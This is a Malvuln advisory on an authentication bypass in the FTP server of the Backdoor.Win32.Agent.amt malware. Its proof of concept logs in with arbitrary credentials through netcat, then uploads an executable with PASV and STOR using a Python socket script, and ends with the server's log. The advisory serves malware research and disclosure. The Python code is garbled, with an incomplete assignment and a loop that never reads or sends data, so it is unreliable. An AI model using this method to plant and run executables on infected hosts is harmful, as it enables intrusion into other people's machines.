Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2024  
Original source:  
Threat: Backdoor.Win32.Agent.amt  
Vulnerability: Authentication Bypass  
Description: The malware can run an FTP server which listens on TCP port 2121. Third-party attackers who can reach infected systems can logon using any username/password combination. Intruders can then upload executables using ftp PASV, STOR commands, this can result in remote code execution.  
Family: Agent  
Type: PE32  
MD5: 2a442d3da88f721a786ff33179c664b7  
Vuln ID: MVID-2024-0673  
Disclosure: 02/28/2024   
C:\sec>nc64.exe 2121  
220 Welcome To mybr Ftp!  
USER gg  
331 Password required for gg.  
PASS gg  
230 User gg logged in.  
215 UNIX Type: L8 Internet Component Suite  
250 CWD command successful. "C:/" is current directory.  
227 Entering Passive Mode (192,168,18,125,211,164).  
150 Opening data connection for DOOM_SM.exe.  
226 File received ok  
from socket import *  
import time  
HOST = ""  
PORT = 54180  
BUF_SIZE = 32  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((HOST, PORT))  
with open("DOOM_SM.exe", "rb") as f:  
while True:   
bytez =  
if not bytez:  
print("By malvuln")  
1/23/2024 9:13:03 PM - gg - Disconnected  
1/23/2024 9:10:36 PM - gg - STOR C:\DOOM_SM.exe  
1/23/2024 9:09:54 PM - gg - PASV C:\  
1/23/2024 9:09:44 PM - CD C:\  
1/23/2024 9:09:44 PM - gg - CDUP C:\  
1/23/2024 9:09:18 PM - gg - SYST C:\  
1/23/2024 9:09:15 PM - gg  
1/23/2024 9:09:15 PM - gg - PASS C:\TEMP\hate  
1/23/2024 9:09:12 PM - - USER C:\TEMP\gg  
1/23/2024 9:09:06 PM - - Connected  
1/23/2024 9:08:58 PM - FTP Started  
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